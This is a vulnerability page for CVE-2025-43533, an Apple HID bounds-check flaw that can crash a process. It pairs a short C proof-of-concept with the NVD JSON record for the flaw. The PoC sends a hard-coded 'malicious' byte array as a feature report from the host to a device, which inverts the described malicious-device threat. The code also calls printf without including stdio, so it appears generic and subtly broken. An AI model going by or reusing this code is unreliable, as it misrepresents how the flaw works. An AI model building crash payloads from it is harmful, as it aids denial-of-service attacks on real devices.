CVE-2025-43533

// CVE-2025-43533 PoC - Malicious HID Device Simulation // This PoC demonstrates sending malformed HID reports to trigger the vulnerability // Note: Requires physical access or adjacent network to target device #include <IOKit/hid/IOHIDManager.h> #include <IOKit/usb/IOUSBLib.h> // Malformed HID report designed to trigger boundary check failure unsigned char maliciousHIDReport[] = { 0x01, 0x02, 0x03, 0x04, 0x05, 0x06, 0x07, 0x08, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00 }; void trigger_vulnerability(IOHIDDeviceRef device) { // Send malformed HID report exceeding expected buffer size IOReturn result = IOHIDDeviceSetReport( device, kIOHIDReportTypeFeature, 0x00, maliciousHIDReport, sizeof(maliciousHIDReport) ); if (result == kIOReturnSuccess) { printf("[+] Malicious HID report sent successfully\n"); printf("[+] Target process may crash due to boundary check failure\n"); } return; } // For demonstration only - actual exploitation requires device-specific knowledge

{"cve": {"id": "CVE-2025-43533", "sourceIdentifier": "[email protected]", "published": "2025-12-17T21:16:12.070", "lastModified": "2026-04-02T19:21:00.850", "vulnStatus": "Modified", "cveTags": [], "descriptions": [{"lang": "en", "value": "The issue was addressed with improved bounds checks. This issue is fixed in iOS 18.7.5 and iPadOS 18.7.5, iOS 26.2 and iPadOS 26.2, macOS Sequoia 15.7.4, macOS Sonoma 14.8.4, macOS Tahoe 26.2, tvOS 26.2, visionOS 26.2, watchOS 26.2. A malicious HID device may cause an unexpected process crash."}], "metrics": {"cvssMetricV31": [{"source": "134c704f-9b21-4f2e-91b3-4a467353bcc0", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:A/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H", "baseScore": 5.7, "baseSeverity": "MEDIUM", "attackVector": "ADJACENT_NETWORK", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "REQUIRED", "scope": "UNCHANGED", "confidentialityImpact": "NONE", "integrityImpact": "NONE", "availabilityImpact": "HIGH"}, "exploitabilityScore": 2.1, "impactScore": 3.6}]}, "weaknesses": [{"source": "134c704f-9b21-4f2e-91b3-4a467353bcc0", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-20"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:o:apple:ipados:*:*:*:*:*:*:*:*", "versionEndExcluding": "26.2", "matchCriteriaId": "EA029506-5678-444B-93B5-27DAD643A1C0"}, {"vulnerable": true, "criteria": "cpe:2.3:o:apple:iphone_os:*:*:*:*:*:*:*:*", "versionEndExcluding": "26.2", "matchCriteriaId": "6276FDCA-3407-4FDD-8437-B57C98A97084"}, {"vulnerable": true, "criteria": "cpe:2.3:o:apple:macos:*:*:*:*:*:*:*:*", "versionEndExcluding": "26.2", "matchCriteriaId": "FBA92B6D-E36C-432B-A041-94D81427CD75"}, {"vulnerable": true, "criteria": "cpe:2.3:o:apple:tvos:*:*:*:*:*:*:*:*", "versionEndExcluding": "26.2", "matchCriteriaId": "E0BBFB45-21F3-4B72-8DB1-BE72AFE0D2AB"}, {"vulnerable": true, "criteria": "cpe:2.3:o:apple:visionos:*:*:*:*:*:*:*:*", "versionEndExcluding": "26.2", "matchCriteriaId": "EB10D901-4800-4DF9-AB35-48017C178161"}, {"vulnerable": true, "criteria": "cpe:2.3:o:apple:watchos:*:*:*:*:*:*:*:*", "versionEndExcluding": "26.2", "matchCriteriaId": "15574823-ECE0-4394-99BC-6AFA34E599CC"}]}]}], "references": [{"url": "https://support.apple.com/en-us/125884", "source": "[email protected]", "tags": ["Release Notes", "Vendor Advisory"]}, {"url": "https://support.apple.com/en-us/125886", "source": "[email protected]", "tags": ["Vendor Advisory"]}, {"url": "https://support.apple.com/en-us/125889", "source": "[email protected]", "tags": ["Release Notes", "Vendor Advisory"]}, {"url": "https://support.apple.com/en-us/125890", "source": "[email protected]", "tags": ["Release Notes", "Vendor Advisory"]}, {"url": "https://support.apple.com/en-us/125891", "source": "[email protected]", "tags": ["Release Notes", "Vendor Advisory"]}, {"url": "https://support.apple.com/en-us/126347", "source": "[email protected]"}, {"url": "https://support.apple.com/en-us/126349", "source": "[email protected]"}, {"url": "https://support.apple.com/en-us/126350", "source": "[email protected]"}]}}